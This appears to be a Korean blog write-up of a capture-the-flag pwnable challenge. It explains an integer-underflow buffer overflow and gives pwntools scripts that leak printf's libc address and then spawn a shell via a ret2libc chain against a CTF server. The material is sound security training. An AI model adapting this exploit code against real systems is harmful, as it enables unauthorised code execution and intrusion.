checksec
32bit
NX 걸려있음
Pseudo Code
vuln()함수로 바로 연결
get_n 함수를 호출해 숫자를 입력받는 과정을 수행
nptr: 2C byte 만큼 buffer에 할당되어 있음
7: get_n(&nptr, 4);
8: v2 = nptr을 atoi함수로 int형으로 전환한 값
9: v2의 값이 32보다 클 경우 경고 메시지 출력+종료
12: v2의 값이 32보다 작을 경우 get_n함수를 한 번 더 호출
이때 v2를 get_n의 두번째 인자로 전달
while 문v4: buffer에 D(=13)byte 할당되어있음 --> getchar()함수로 값 입력받기 0 또는 10(0xA)을 입력하면 while문 break
v5가 0부터 시작해 v5++를 반복하면서 두번째 인자로 전달되는 a2값보다 크거나 같아지면 while문 break
get_n(&nptr, 4)
while문 총 5번반복 >> v4를 5번 입력받을 수 있음
get_n(&nptr, v2)
int형이였던 v2를 get_n의 두번째 인자 unsigned int 형으로 받음 >> v2에 음수를 입력했다면 underflow가 발생해 4,294,967,296 + v2로 입력된다.
실행
몇 byte를 읽을 지 입력받고 data를 입력하도록 한다
Payload 작성
libc leak
printf()함수를 이용해 libc_base 구하기
printf@plt(printf@plt@got)
printf - libc = 0x49680
printf - system = 0xe8d0
system - libc = 0x3adb0
binsh offset
binsh - libc = 0x15bb0b
from pwn import *
from struct import *
#context.log_level = 'debug'
p=remote("ctf.j0n9hyun.xyz",3019)
elf = ELF("./pwning")
#libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
#p = process("./pwning")
vuln = elf.symbols['vuln']
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
p.sendlineafter("? ", "-1")
pl = "A"*(0x2C + 4)
pl += p32(printf_plt)
pl += p32(vuln)
pl += p32(printf_got)
p.sendlineafter("data!\n", pl)
p.recvuntil("\n")
printf = u32(p.recv()[:4])
log.info("printf address: " + hex(printf))
p.interactive()
이 때 leak한 주소인 printf의 주소의 하위 3byte는 고정되어 달라지지 않기 때문에 이를 활용하여 라이브러리를 찾는다.
라이브러리 찾기
라이브러리를 찾고 offset 값들도 찾을 수 있다.
from pwn import *
#context.log_level = 'debug'
p=remote("ctf.j0n9hyun.xyz",3019)
elf = ELF("./pwning")
#libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
vuln = elf.symbols['vuln']
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
p.sendlineafter("? ", "-1")
pl = "A"*(0x2C + 4)
pl += p32(printf_plt)
pl += p32(vuln)
pl += p32(printf_got)
p.sendlineafter("data!\n", pl)
p.recvuntil("\n")
printf = u32(p.recv(4))
libc_base = printf - 0x049020
system = libc_base + 0x03a940
binsh = libc_base + 0x15902b
log.info("printf address: " + hex(printf))
log.info("libc_base: "+ hex(libc_base))
p.sendlineafter("? ", "-1")
#gdb.attach(p)
pl ="A"*(0x2C + 4)
pl += p32(system)
pl += "A"*4
pl += p32(binsh)
p.sendlineafter("data!\n", pl)
p.interactive()
'System > PWNABLE' 카테고리의 다른 글
gets_ (0) | 2020.08.01 |
---|---|
[ROP Emporium] write4 (0) | 2020.07.19 |
BaskinRobins31 (0) | 2020.07.12 |
r0pbaby (0) | 2020.07.12 |
babyROP (0) | 2020.06.21 |